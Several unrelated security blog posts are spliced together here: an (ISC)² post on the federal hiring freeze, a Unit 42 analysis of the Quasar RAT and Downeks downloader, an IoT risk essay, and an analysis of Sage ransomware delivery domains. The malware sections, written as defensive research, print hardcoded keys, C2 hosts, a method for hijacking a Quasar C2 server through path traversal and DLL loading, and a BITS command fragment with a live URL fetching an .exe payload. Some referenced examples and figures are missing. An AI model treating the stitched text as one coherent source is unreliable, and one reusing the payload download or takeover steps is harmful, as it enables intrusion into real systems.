During its first few weeks, the Trump administration issued several executive orders that left heads spinning, with many federal personnel unclear of the implications. One particular order that is causing significant anxiety among federal cybersecurity personnel – including thousands of (ISC)² members — is the hiring freeze. How is the freeze impacting our U.S. government member community and the government’s overall cyber progress?
After numerous conversations with federal cybersecurity leaders, one thing is clear – there is an abundance of unknowns and a unanimous sentiment of unpredictability. Yet, when outcomes are hard to predict, sometimes it helps to know that you are not alone. We can confirm that the current tone among federal cyber leaders is that of uncertainty, bordering on anxiety. So far, the unintended consequences of the freeze include a pause on recruitment efforts, withdrawal of current applicants, the exodus of younger entrants who see greater promise in private industry and an increase in early retirement for those with seniority. For those in the federal government who struggle daily in a short-staffed environment, morale is certainly taking a hit.
For our U.S. government members trying to navigate the implications of the hiring freeze, and other cyber-related orders on the immediate horizon, I want to encourage you to think short-term and be cautious to draw conclusions within the first 90 days of the new administration. One thing that I can say with certainty is that the (ISC)² organization is doing our part to drive awareness of the issues, and we stand dedicated to continuing such efforts. As for (ISC)²’s immediate goals, we will be focused on the following:
Helping our members navigate the uncertainties. We will be regularly polling cyber experts and posting the community’s reactions to any new happenings in an effort to shed light on potential impact to our members. To this end, we are encouraging you to provide comments and/or questions in the comment section below, so that we can be a resource of information to assist in whatever challenges arise.
Continuing our efforts to advocate for the workforce. We will be presenting a set of recommendations to the transition team in the coming weeks with the intention of helping to move forward federal cyber workforce initiatives. In prior years, the government heeded our call to hire a Federal CISO, and we will continue pushing for the same from this administration. We will make it known that it is a top priority to fill the void of practical leadership for those of you on the front lines.
Finally, I want to encourage conversation. As the world’s largest body of cybersecurity professionals, we have an opportunity to drive progress over the next four years. With the greatest minds in cyber, together we can help solve the complex and continuing challenges of securing our nation and the world around us. Now, more than ever, our collective voice needs to be heard.
Dan Waddell, CISSP, CAP, PMP Regional Managing Director, North America Region, (ISC)²
This year’s Cybersecurity Predictions blog series examined Sure Things” (predictions that are almost guaranteed to happen) and “Long Shots” (predictions that are less likely to happen) in cybersecurity in 2017. Here’s a round-up of what cybersecurity experts from Palo Alto Networks predict for 2017. Be sure to click into each post for even more predictions.
Ryan Olson predicts the political leaks we saw in 2016 will be the new normal.
This report shares our researchers’ analysis of the attack and Remote Access Tool (RAT). We also discovered during our research that the RAT Server used by this attacker is itself vulnerable to remote attack, a double-edged sword for these attackers.
Attack
The initial infection vector in this attack is not clear, but it results in installing the “Downeks” downloader, which in turn infects the victim computer with the “Quasar” RAT.
Downeks uses third party websites to determine the external IP of the victim machine, possibly to determine victim location with GeoIP. It also drops decoy documents in an attempt to camouflage the attack.
Quasar is a .NET Framework-based open-source RAT. The attackers invested significant effort in attempting to hide the tool by changing the source code of the RAT and the RAT server, and by using an obfuscator and packer.
Detection
Unit 42 researchers observed the Quasar RAT being prevented from executing on a Traps-protected client in September 2016. We observed these Quasar samples:
File Name: f-secure.exe
SHA256: 99a7cb43fb2898810956b6137d803c8f97651e23f9f13e91887f188749bd5e8f
Note: connects to hnoor.newphoneapp[.]com
File Name: HD_Audio.exe
SHA256: 0c4aa50c95c990d5c5c55345626155b87625986881a2c066ce032af6871c426a
Note: connects to manual.newphoneapp[.]com
File Name: HD_Audio.exe
SHA256: 86bd78b4c8c94c046d927fb29ae0b944bf2a8513a378b51b3977b77e59a52806
Note: crashes upon execution
File Name: sim.exe
SHA256: 723108103ccb4c166ad9cdff350de6a898489f1dac7eeab23c52cd48b9256a42
Note: connects to hnoor.newphoneapp[.]com
Further research found other Quasar examples, an attack earlier in the month 2016 on the same target:
We found the same Quasar code in an additional attack on the same day, but upon a different target. A second Quasar sample was also observed attacking this new victim:
We do not have detailed visibility into the specific host attacked, and have not been able to reproduce the second stage of the attack in our lab. However, based upon the timeframe of subsequent telemetry we observe, we understand the attack chain as follows:
The initial dropper (which varies across attacks) is delivered to the victim via email or web:
File Name: Joint Ministerial Council between the GCC and the EU Council.exe”
SHA256: 0d235478ae9cc87b7b907181ccd151b618d74955716ba2dbc40a74dc1cdfc4aa
The initial dropper, upon execution, extracts an embedded Downeks instance:
Further research identified dozens of Dowenks and Quasar samples related to these attackers. All included decoy documents written in Arabic (all related to Middle Eastern politics) or Hebrew. Most of them use the same mutex structure, share the same fake icon and unique metadata details, file writes, registry operations, and fake common program metadata, as seen in DustySky samples.
The Downeks downloader and Quasar C2 infrastructures are each self-contained and independent of each other. However, we did find a single shared IP address demonstrably connecting the Downeks downloader and Quasar C2 infrastructure s. The below chart (Figure 1) shows Quasar infrastructure (top), Downeks (bottom), and the shared IP link.
Figure 1- Quasar and Downeks
Charting the samples and infrastructure clearly shows the separate Downeks campaigns, and infrastructure links (Figure 2):
Figure 2- Infrastructure Patterns and Connections
In Figure 2, top-right (green) has the Quasar infrastructure (Figure 3), with a link to the Downeks infrastructure. Left (yellow) is DustySky infrastructure (Figure 4) and the links to this Downeks campaign. As well as similarities in the code, decoys and targets, we also identified C2 infrastructure links between DustySky and this campaign. The remainder is sub-campaigns of Downeks samples, their infrastructure, their links – and a favored ISP (center) (Figure 5).
The timing of the attacks is commensurate with the Middle-Eastern working week (Figure 6):
Figure 6- Attacks by day-of-the-week
The sample build days-of-the-week follow an almost identical pattern (Figure 7):
Figure 7- Builds by day-of-the-week
We saw five samples built on the same date in December 2015, and six on the same date in January, further solidifying the link between each sample.
Quasar
We analyzed a Quasar sample we found that was communicating with an active C2 server at the time of analysis:
Quasar is a publicly-available commodity RAT, an evolution of his earlier xRAT, by German developer “MaxXor”. This sample is a modified version of Quasar, most likely forked from open source version 1.2.0.0 on GitHub. The client was likely built using the Quasar server client builder. We observed the following customizations:
C2 server:
app.progsupdate[.]com, which resolved to 185.141.25[.]68), over port 4664.
The malware uses fake version information to appear as a Microsoft update program, as well as Google Desktop once unpacked.
Packer
This sample is packed by “Netz”, a simple .NET Framework packer which stores the original executable compressed (zlib) as a resource. At runtime, the packer decompresses the resource and uses Reflection to load the assembly, find its Entry point, and Invoke it. Extracting the payload is straight forward – we simply dump the resource and decompress it. After decompilation, the packer looks like this:
This layer uses obfuscation in an attempt to avoid detection/analysis.
Obfuscation
We discovered that the sample was obfuscated using .NET reactor. It is possible to decompile the deobfuscated sample and retrieve most of the original source code but not enough to compile it easily.
publicstaticstringENCRYPTIONKEY;// Encryption password of the settings
publicstaticstringTAG;
publicstaticstringLOGDIRECTORYNAME;
publicstaticboolHIDELOGDIRECTORY;
publicstaticboolISCHECKIP;
publicstaticintINSTARTUPFOLDER;
Modifications:
The ISCHECKIP and INSTARTUPFOLDER are not found in open source Quasar samples.
Cryptography
The sample we analyzed is using RijndaelManaged with ECB mode and PKCS7 padding. The key is the SHA256 hash of the hard-coded password. The password of the sample we analyzed is:
“6y7u^Y&U6y7u^Y&U6y7u^Y&U”
Although at first glance this appears somewhat complex, it is in fact a rather simple, repeated keyboard sequence. We observe similar keyboard patterns in other samples: “567%^&”, “zxc!@#ASD”.
Uses RijndaelManaged instead of AES for encryption. (with ECB mode, which is considered weak).
Serialization
Quasar contains the NetSerializer library that handles serialization of high level IPacket objects that the client and server use to communicate. The serialization assigns unique IDs for serializable objects types. The open source and several other samples we found give a dynamically-assigned 1 byte ID at compile time. The sample we analyzed changed that behavior and hard-coded DWORD for each object type. This is a better implementation, as it allows servers and clients from different versions to communicate with each other to some extent.
The sample we analyzed is most likely forked from open source quasar 1.2.0.0. We find multiple file/object names hinting at the version, but must compelling:
Quasar version 1.1.0.0 names the encryption module name space “Encryption”, while subsequent Quasar versions use “Cryptography” – which we observe in this sample.
Quasar version 1.3.0.0 changed the encryption key generation, and stopped saving the password in the sample. There are more indications as well, such as names of objects, files etc.
Other samples we analyzed had different combinations of modification to cryptography and serialization.
The C2 server
Our decompilation of the serialization library was not complete enough to allow simple recompilation. Instead, we downloaded and compiled the 1.2.0.0 server of the open-source Quasar RAT, having determined that this seemed likely the most similar version. The out-of-the-box server could not communicate with the client sample owing to the previously documented modifications that we had observed. We incorporated those changes into our build, discovering that this worked for most sample versions with almost no further modification.
Both the client and the server use the same code to serialize and encrypt the communications. Instead of compiling a different server for each client, our server uses the code from within the client to communicate with it. Using Reflection, the server can load the assembly of the client to find the relevant functions and passwords.
This was more complex. Both the client and server uses the same API, but the client serializer cannot serialize server objects, because they are not the same as their “mirrored” objects inside the client. In some cases these objects are completely different, for example the server commands to get the file system.
Our solution is to:
Translate on the fly the objects the server send to mirrored matching client objects (will not work if client doesn’t have this object, or renamed it).
Copy the content from the server object into the new client object (will not work if client implementation is different).
Serialize the client object (which will be later encrypted and sent).
Deserialize the decrypted response into another client response object.
Translate the client response object into the server version of the client response object.
Copy the contents from the client response object into the translated server object.
Our sample communicates with app.progsupdate[.]com, which resolved to 185.141.25[.]68, over TCP port 4664.
Architecture
This is the communication architecture between quasar client and server (Figure 8):
Figure 8- Communication Architecture
The server sends a command. for example, “Get System Information”.
The command is translated to an IPacket of type GetSystemInfo.
The packet is serialized into a stream of bytes.
The stream of bytes is encrypted (in some versions there is also optional compression step).
The stream of bytes is sent over TCP to the client.
The client receives and decrypts the packet.
The client deserializes the packet into IPacket GetSystemInfo.
The relevant handler of the client is called, collects the system information and sends it back inside IPacket of GetSystemInfoResponse.
Each of these layers seems to be different to some extent in the various samples we found. The IPacket, Serialization and Encryption framework code is shared between the client and the server, therefore we can use it with Reflection. However the Server handlers and command function are not, so we cannot create a completely perfect simulation.
Initial handshake
After the TCP handshake completes, the server starts another handshake with the client by sending packets in the following order (Figure 9):
Figure 9- Initial Handshake
The client returns data to the server about the victim computer, which is displayed in the server GUI (Figure 10):
Figure 10- Quasar RAT Server GUI
The server and client then enter into a keep-alive mode, where the attacker can send commands to the client and receive further responses.
RAT commands
The attacker can issue commands (not all commands appear in different samples) through the Quasar server GUI for each client:
Get system information
Get file system
Upload / download / execute files
Startup manager
Open task manager
Kill / start processes
Edit registry
Reverse Proxy
Shutdown / restart the computer
Open remote desktop connection
Observe the desktop and actions of active user
Issue remote mouse clicks and keyboard strokes
Password stealing
Retrieve Keylogger logs
Visit website
Display a message box
Our server build was able to successfully execute most of the commands.
The file system commands underling handlers and IPacket were modified to support more features, so these commands don’t work out of the box and required manual implementation from us.
A Double-Edged Sword…
With further analysis of the Quasar RAT C2 Server, we uncovered vulnerabilities in the server code, which would allow remote code execution. This might allow a second attacker to install code of their choice – for example, their own Quasar RAT – on the original attacker’s server. We refer to this (somewhat ironic) technique as a “Double Edged Sword Attack”. We did not apply this to any live C2 servers – we only tested this with our own servers in our lab.
In the lab, we changed our Quasar RAT source code to use the known encryption key, and to send fake victim IP address, City, Country code, Flag, and Username. The Quasar server does not verify the RAT data, and displays this data in the RAT Server GUI when the RAT is executed and connects to the server. We found this could be used to supply compelling “victim data” to convince the attacker to connect to this “victim” via the GUI.
Quasar server includes a File Manager window, allowing the attacker to select victim files, and trigger file operations – for example, uploading a file from victim machine to server. Uploaded files are written to the server sub directory “clients\user_name@machine_name_ipaddress”.
Quasar server does not verify that the size, filename, extension, or header of the uploaded file is the same as requested. Therefore, if we convince the attacker to request the file “secret_info.doc (20KB)”, we can instead return to the server any file of our choice, of any size or type.
When the Quasar server retrieves the name of the uploaded file from the victim, it does not verify that it is a valid file path. Therefore sending the file path “..\..\ secret_info.doc ” will result in writing our file instead to the same directory as the Quasar server code.
Quasar server does not even verify that a file was requested from the victim. Immediately when the File Manager window is opened by the attacker, the Quasar server sends two commands to the RAT: GetDrives and listDirectory (to populate the list of the victim’s files in the RAT Server GUI). We can respond to those commands by instead sending two files of our choice to the Quasar server. Again, we control the content of the file, the size and the path and filename.
Quasar is a .NET Framework assembly, loading multiple DLLs upon launch, for example “dnsapi.dll”. Quasar server is vulnerable to a simple DLL hijacking attack, by using this technique to replace server DLLs.
When the attacker restarts the Quasar application, our uploaded “dnsapi.dll” will instead be loaded. Through this vector, we could drop our own Quasar client on the attacker’s server and execute it. Our Quasar RAT will connect to our own (secured, of course) Quasar server, allowing us to control that attacker’s server with his own RAT. We can also replace “shfolder.dll” (and add a DLL export proxy to avoid a crash), which is loaded whenever the attacker clicks the builder tab – allowing us to infect the server while it runs, without the need to wait for application restart.
Downeks
Although Downeks has been publicly examined to some extent, our analysis found several features not previously described.
Earlier Downeks samples were all written in native code. However, among our Downeks samples, we found new versions apparently written in .NET. We observe many behavioral similarities and unique strings across both the native-Downeks versions, and the new .NET Downeks versions. Almost all of the strings and behaviors we describe in this analysis of a .NET version are also present in the native version.
We observed these samples deployed only against Hebrew-speaking targets.
Downeks.NET – “SharpDownloader”
Downeks .NET internal name is “SharpDownloader”, “Sharp” may be a reference to the language it was written in – C#.
As seen in previous Downeks versions, it uses masquerades with icons, filenames and metadata imitating popular legitimate applications such as VMware workstation (Figure 1) and CCleaner, or common file formats such as DOC and PDF.
Figure 11 – Application metadata masquerading as VMWare Workstation
All 3 samples were compiled with the same timestamp. Downeks.NET is obfuscated using “Yano” and can be easily de-obfuscated using the de4dot utility.
Downeks is a backdoor with only very basic capabilities. It communicates with the C2 server using HTTP POST requests.
It runs in an infinite loop, in each iteration it requests a command from the C2, and then it sleeps for a time period it receives in the C2 response (defaulting to 1 second if no sleep-time sent).
The data that is sent in the POST is serialized with json, which is then is encrypted, and finally encoded in base64. The json format is typically {“mth”:”some_method”, “data”:”some_encrypted_data”}. The C2 server responds using the same format and serialization/encryption/encoding.
Download and Execute
As described in earlier analyses, Downeks’ main purpose is as a downloader. Unfortunately, we were unable to get any C2 servers to issue download commands to any samples that we tested in our lab.
The download is initiated upon receiving json with a “download” command, which includes the URL of the file to be downloaded. Downeks can also be instructed to execute binaries that already exist on the victim machine. After successful execution, Downeks returns the results to the C2 server.
Downeks also has a self-update capability, if instructed by the C2.
Screen Capture
Downeks can be instructed with the “img” command to capture the victim screen and transmit it back to the C2. The parameters “wth” and “qlt” specify “width” and “quality”.
Appdata
Downeks .NET creates a file in the “Appdata” directory, based on certain properties of the machine. During our analysis, Downeks created a file in “Appdata\Roaming” containing only “SD{new line} 0” (“SD” possibly for “SharpDownloader”).
Althought this file itself is not particularly interesting, the older (native) Downeks versions also creates a file in Appdata\Roaming, with identical data.
The filenames across the two variants bear striking similarities. The .NET variant creates “1FABFBFF0000065132F71D94”, while the native version creates “000206511FABFBFF”. We observed the string “1FABFBFF0000065132F71D94” in memory during debugging of the native variant (Figure 12). This is a pseudo-unique ID for each machine, based on install date taken from the registry, volume serial number, OS version and service pack, Processor architecture, and computer name.
Figure 12 – Machine ID in memory
Installed Antivirus check
Downeks enumerates any antivirus products installed on the victim machine and transmits the list to the C2. It constructs this list using the WMI query:
“SELECT displayName FROM AntivirusProduct”
Persistence
Downeks achieves host persistence through either the registry “run” key or with a shortcut in the start-up folder.
External IP
In another similarity between both variants, Dowenks assesses the victim’s external IP using an HTTP request to http://www.myexternalip.com/raw.
Other commands
Downeks can be instructed by the C2 to perform a few other commands:
Check if the computer name and user name, or external IP address, is in a provided list and if so, display a message box with a message as defined by the C2.
Kill any running process and attempt to delete the associated executable.
“Setup” command – sends various info about the machine with each iteration of the C2 communications loop.
Encryption keys
Downeks has static encryption keys hardcoded in the code. These keys are initialized in the “Defaults” class constructor, suggesting that the author of this malware has great affection for stackoverflow:
1
2
3
4
5
6
7
8
staticDefaults()
{
ResEncKey=Strings.Get(0x1524);// resolves to “$t2ck0v3rFl0w”
RarPass=Strings.Get(0x1539);// resolves to “123456”
ServerTransKey=Strings.Get(0x1542);// resolves to “P@$sw0rD$nd”
DataEncKey=Strings.Get(0x1553);// resolves to “$t@k0v2rF10w”
ConnRequestKey=Strings.Get(0x1564);// resolves to “1q@W3e$RQ!w2E#r4”
}
Typos
We observed some typos in the code, such as “responce” ( “response”) and “GroubID” (“GroupID”) in this version.
Coverage & IoCs
Palo Alto Networks customers are protected from Downeks and Quasar used in this attack:
WildFire properly classifies these Downeks and Quasar samples as malicious.
Traps detects and blocks malicious behavior exhibited by new, unknown Quasar samples.
C2 servers associated with this activity are blocked through Threat Prevention DNS signatures.
AutoFocus customers can monitor this activity using the Downeks and QuasarRAT tags.
A list of Indicators of Compromise can be found in Appendix C – IoCs.
The IoT, or “Internet of Things” (everyday objects and systems that have connections to a network to provide data-sharing and virtual control), is a fast-growing arena of technology growth. The potential uses of the IoT to build a “smart world” of connected devices is enormously convenient and brings a whole new level of mobile management to every aspect of consumer and business activities. We are now able to start our cars from our phone, lock our front doors from our PC, or turn on the crockpot in our kitchen from a tablet in the office. Who knows what we will be able to do in the very near future?
Unfortunately, the IoT brings with it not just convenient access for users of the “things” on the IoT, but also convenient access for those wanting to exploit those things. More access points mean more places for attackers to get in. More remote control means more ability to hijack that control. All that leaves big problems for the organizations that design, build, and sell, or buy, implement, and use these products. With HVAC systems, point of sale systems, communications systems, manufacturing lines – entire organizations, in fact – tied into the connected world, the IoT is opening increasing risk (security and operational) every day to businesses whose operations are more and more often tied into the network, whether they are making or using IoT devices.
Dealing with Risks on the IoT
The key to dealing with the changes in the security risk environment brought about by the ongoing evolution of the IoT is to focus, not on a detailed plan for any specific risks (which are ever-changing), but more on organizational resilience and risk-principle-based security management in general. The protection and continuation of business operations in the risk environment of the IoT goes beyond the scope of just information security. The risks associated with these networked devices transcend technology and reach deep into the realm of overall business resiliency and, as such, must involve stakeholders from across the business.
Organizational resilience enables enterprises to respond nimbly, pivot on a dime to change focus and alter activities, and keep fulfilling their mission no matter what is happening around them. It’s a philosophy that relies more on an attitude of preparedness – on understanding that a crisis is likely to occur no matter how many mitigation plans you put in place – than on hard-and-fast rules for responding to a crisis event. Organizational resilience is a team approach that allows the risk managers and business leaders to work together in a partnership to ensure that critical functions can continue no matter what. It’s an outlook that enables a quick response to events that can quickly escalate – exactly the type of events we can expect when dealing with a fast-changing environment like the IoT.
Enterprise Security Risk Management (ESRM) is a security paradigm that is gaining significant traction in the security world and is a perfect response to the kinds of changing risk environments associated with the IoT. It’s a risk-based security management philosophy that is based on building partnerships across the business to manage security risk and to ensure that business leaders are making educated risk decisions for their assets and critical functions. ESRM embraces risk identification and mitigation while at the same time recognizing that businesses need to sometimes take risks to succeed. It enables business owners and security practitioners to work together to find the best solution for protecting the company while not stifling its ability to get the job done.
Using the two complementary philosophies of enterprise security risk management and organizational resilience, the business organization is in a better place to both protect itself from harm and embrace positive change due to uncertainty in the business environment. Resilience works both ways in an enterprise, to flexibly adapt to good or bad risk outcomes – both are highly possible when dealing with the IoT universe.
These philosophies drive all parts of the business to recognize and proactively deal with security risk, not simply put the responsibility solely on the technology or security department. ESRM is a security management system that any organization can take and adapt to its needs to build out a flexible and business-based program that will help it along the path to true organizational resilience, no matter what risks it is exposed to in the present or the future. Now is the time for security leaders to embrace these philosophies and strengthen the resilience of their enterprises, because the future of the IoT is already here.
While analyzing a recent malicious Microsoft Word document, it downloaded a ransomware variant, “SAGE 2.0” (Sage Locker), which is a spin-off from CryLocker. This ransomware has been slowly making the rounds lately; most notably because a number of these campaigns have been seen delivering both Sage and Cerber ransomware families from the same download locations, sometimes changing between the two periodically throughout the day.
In this blog post, I plan to analyze the distribution infrastructure for the ransomware and enumerate indicators that can be deployed for detection and prevention; however, before I get into the infrastructure, I need to briefly mention how the distribution occurs.
I stumbled across this, not because of the ransomware itself, but due to how the Microsoft Word documents download the ransomware executable. Specifically, these Microsoft Word documents are delivered via e-mail, as usually happens with these types of ransomware campaigns, and launch a PowerShell process to download the actual ransomware using an evasion technique I’ve been monitoring. The idea behind the evasion technique is to bypass pattern or string matches that prevent process launching by using the Windows command-line escape caret character injected between your regular characters to break up commands such as “powershell” and “executionpolicy” – below is an example of this.
If, for example, you tried to block “powershell”, it would fail because the carets have broken up the word, but it will have no impact on Microsoft Window’s actual processing of it. The Microsoft Word document contains an obfuscated macro that puts together this command and executes it, which subsequently downloads the ransomware file and runs it. Nothing mind bending but, despite its attempt to evade detection and prevention, it actually stands out more and has the reverse effect.
Pivoting off of this path in the URL “read.php?f=0.dat”, I was able to use Palo Alto Networks AutoFocus to quickly identify 9,107 unique Microsoft Word document since December 15th, 2016 that matched this pattern in their dynamic process activity. From there, I was able to extract all of the download locations being used by this campaign from the identified samples.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
hxxp://aloepolera[.]top/read.php?f=0.dat
hxxp://aoopoerope[.]top/read.php?f=0.dat
hxxp://asecwitlecn[.]bid/read.php?f=0.dat
hxxp://cunumlicgaf[.]bid/read.php?f=0.dat
hxxp://dosehoop[.]top/read.php?f=0.dat
hxxp://errorfola[.]top/read.php?f=0.dat
hxxp://folueopa[.]top/read.php?f=0.dat
hxxp://fortycooola[.]top/read.php?f=0.dat
hxxp://hometowergop[.]top/read.php?f=0.dat
hxxp://mondayhelthc[.]top/read.php?f=0.dat
hxxp://newfoodas[.]top/read.php?f=0.dat
hxxp://newyeargoka[.]top/read.php?f=0.dat
hxxp://poooperfath[.]top/read.php?f=0.dat
hxxp://ranumseh[.]bid/read.php?f=0.dat
hxxp://smoeroota[.]top/read.php?f=0.dat
hxxp://sutraponef[.]top/read.php?f=0.dat
hxxp://toagoores[.]top/read.php?f=0.dat
hxxp://totalonedk[.]top/read.php?f=0.dat
hxxp://www.aoopoerope[.]top/read.php?f=0.dat
hxxp://www.asecwitlecn[.]bid/read.php?f=0.dat
hxxp://www.dandyhomern[.]top/read.php?f=0.dat
hxxp://www.ddoeroole[.]top/read.php?f=0.dat
hxxp://www.doomgamesoa[.]top/read.php?f=0.dat
hxxp://www.johnsnowz[.]top/read.php?f=0.dat
hxxp://www.kiselalloe[.]top/read.php?f=0.dat
hxxp://www.nnapoakea[.]top/read.php?f=0.dat
hxxp://www.qwatrojohn[.]top/read.php?f=0.dat
hxxp://www.soonhalia[.]top/read.php?f=0.dat
hxxp://zonexxopera[.]top/read.php?f=0.dat
To determine if there were any underlying correlations at the registrant level, I pulled WHOIS data for all of the identified domains and, sure enough, another pattern begins to emerge.
Figure 1 Connections between delivery domains.
What you see in Figure 1 are five clusters of domains: the light green represent the Name of the person who registered the domain and the dark gray represents the persons e-mail. For each “person” there are multiple domains that are tied to that identity.
1
2
3
4
5
deanmcd at mail[.]com
dns at unit.org[.]hk
galicole at mail[.]com
jenniemarc at mail[.]com
lecborbobl at rothtec[.]com
With this information in hand, I used the e-mails to continue pivoting and pulled every domain these identities have registered. To my surprise, there were 574 total domains, with each one having between 125-160 except for the “dns at unit.org[.]hk” address, which has just nine.
Now, with just a quick review of some of these domains you can get a feel for the general malicious nature of them through the abundant amount of domains masquerading as other companies, whether for phishing or evasion purposes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
americarneexpress[.]com
barclaycardsecure[.]de
barclayscardsecure[.]com
com–au–netbank[.]top
commbank–com[.]top
microsoftsecuritycheck[.]info
microsoftstat[.]in
scotiaonlinescotiabankinstantsupport[.]com
scotiaonlinescotiabankinstantunlock[.]com
scotiaonlinescotiabankinstantupdate[.]com
scotiaonlinescotiabankinstantupdates[.]com
scotiaonlinescotiabankliveupdate[.]com
scotiaonlinescotiabankliveupdates[.]com
scotiaonlinescotiabanksecurityupdates[.]com
scotiaonlinescotiabankservicehelp[.]com
scotiaonlinescotiabanksystemupdate[.]com
scotiaonlinescotiabanksystemupdates[.]com
scotiaonlinescotiabanktechdepartment[.]com
securin–gmail[.]com
security–amerilcanexpress[.]online
updatedmicrosoftoffi1e[.]com
updatemicrosoftoffi1e[.]com
Using this new list of domains, I was able to go back through AutoFocus and further enumerate another 12,422 samples, all showing similar activity to the previous documents.
Below are examples of each variation of their download command and unique URL path.
This next one is particularly interesting as it was serving Locky instead of Sage or Cerber. The first instance of this was on December 9, six days before the Sage and Cerber campaigns described in this post began.
Another thing to note is that it uses a different PowerShell command but the actor(s) behind it still used the “read.php?f=X.dat” format during the download.
Last, but not least, there was samples starting on August 6, 2016 which used yet another iteration to download the ransomware. This one uses BITS to transfer the file as opposed to PowerShell and drops the file with a screensaver “scr” extension instead of the previously seen executable “exe” in newer iterations.
/priority high http://1topfllrt.top/admin.php?f=1.exe
Users\Administrator\AppData\Roaming\734g34.scr
hxxp://1topfllrt[.]top/admin.php?f=1.exe
After going over the files and scraped data from dynamic analysis reports, it’s clear the actor(s) behind this campaign have a pattern they like to follow. Regardless of ransomware variant, these small trails can allow us to unravel a larger infrastructure and generate more actionable data for current and, possibly, future threats.
Palo Alto Networks customers are defended by this threat in the following ways:
The domains used to delivery this malware and used in related attacks are blocked through Threat Prevention
WildFire identifies files using these techniques as malicious
